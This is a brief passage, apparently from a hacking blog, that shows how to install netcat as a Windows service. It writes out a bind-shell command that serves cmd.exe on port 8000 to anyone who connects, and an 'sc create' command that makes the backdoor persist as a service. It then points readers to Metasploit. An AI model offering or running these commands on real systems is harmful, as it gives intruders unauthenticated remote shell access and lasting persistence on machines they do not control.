We can also create a script to set NC as a service in Windows.
We can start with creating a batch file “Netcat.bat” to run our netcat command. The file needs to make a call such as:
- nc -L -p 8000 -t -e %systemroot%\system32\cmd.exe
And if you want to know more about writing Windows Batch files, see the following links:
Run this as a user with permission to create services:
- sc create ServiceNetCat binpath= "C:\Windows\System32\cmd.exe /C C:\Temp\Netcat.bat"
But, all said and done. I need to point you to Metasploit. There is a great tutorial already on the site:
You can also see more on my older posts: